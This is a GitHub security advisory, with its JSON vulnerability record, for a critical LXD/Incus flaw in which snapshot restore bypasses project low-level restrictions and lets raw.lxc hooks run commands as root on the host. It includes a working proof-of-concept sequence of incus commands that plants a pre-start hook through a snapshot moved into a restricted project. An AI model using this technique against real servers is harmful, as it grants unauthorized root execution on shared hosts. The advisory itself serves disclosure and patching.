GHSA-47W9-6R3F-938G
Vulnerability from github – Published: 2026-11-06 19:51 – Updated: 2026-11-06 19:51Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
Summary
Instance snapshots ignore the restricted.containers.lowlevel=block setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as raw.lxc and raw.qemu.
Details
Instance snapshots ignore the restricted.containers.lowlevel=block setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as raw.lxc and raw.qemu.
As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.
In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.
PoC
# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block
# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc
# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc
Impact
- Bypass of project restrictions.
- Arbitrary command execution on the Incus server.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/canonical/lxd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260630083100-c5184be310b1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-06T19:51:26Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv\n\n### Summary\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting;\nallowing for arbitrary command execution on the Incus server by abusing\nlowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\n\n### Details\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting;\nallowing for arbitrary command execution on the Incus server by abusing\nlowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\nAs snapshots can be moved from one server to another, a malicious\ninstance+snapshot can be crafted locally, moved to a restricted project\nand the snapshot restored for arbitrary command execution.\n\nIn practice, this allows a malicious actor to execute arbitrary commands\non the host with root privileges.\n\n\n### PoC\n\n```\n# remote, restricted\nincus project set rem:project restricted.true\nincus project set rem:project restricted.containers.lowlevel=block\n\n# locally, unrestricted project\nincus init images:debian/trixie rce-raw-lxc\nincus config set rce-raw-lxc raw.lxc=\u0027lxc.hook.pre-start = /bin/sh -c \"/bin/id \u003e/lxc-hook-prestart\"\u0027\nincus snapshot create rce-raw-lxc snap0\n#\u003e allow transfer to restricted project\nincus config unset rce-raw-lxc raw.lxc\n\n# locally, transfer and trigger\nincus move rce-raw-lxc rem: --mode push\nincus snapshot restore rem:rce-raw-lxc snap0\nincus start rem:rce-raw-lxc\n```\n\n\n### Impact\n\n- Bypass of project restrictions.\n- Arbitrary command execution on the Incus server.",
"id": "GHSA-47w9-6r3f-938g",
"modified": "2026-11-06T19:51:26Z",
"published": "2026-11-06T19:51:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/security/advisories/GHSA-47w9-6r3f-938g"
},
{
"type": "WEB",
"url": "https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48751"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/5aac658c888d52e3a2480a8f879799ac643fdc49"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/6b93b2a0c4f6f3eaf91e1e813f6875d5eb66b59b"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/a52e5d06a52fb7ad8862cb2a8659a8c47e446efe"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/cfd9f66f6af89e1fa3b3acb12bfe72f51b7f1e19"
},
{
"type": "PACKAGE",
"url": "https://github.com/canonical/lxd"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/releases/tag/lxd-5.0.7"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/releases/tag/lxd-5.21.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "LXD has restricted project bypass leading to arbitrary command execution"
}
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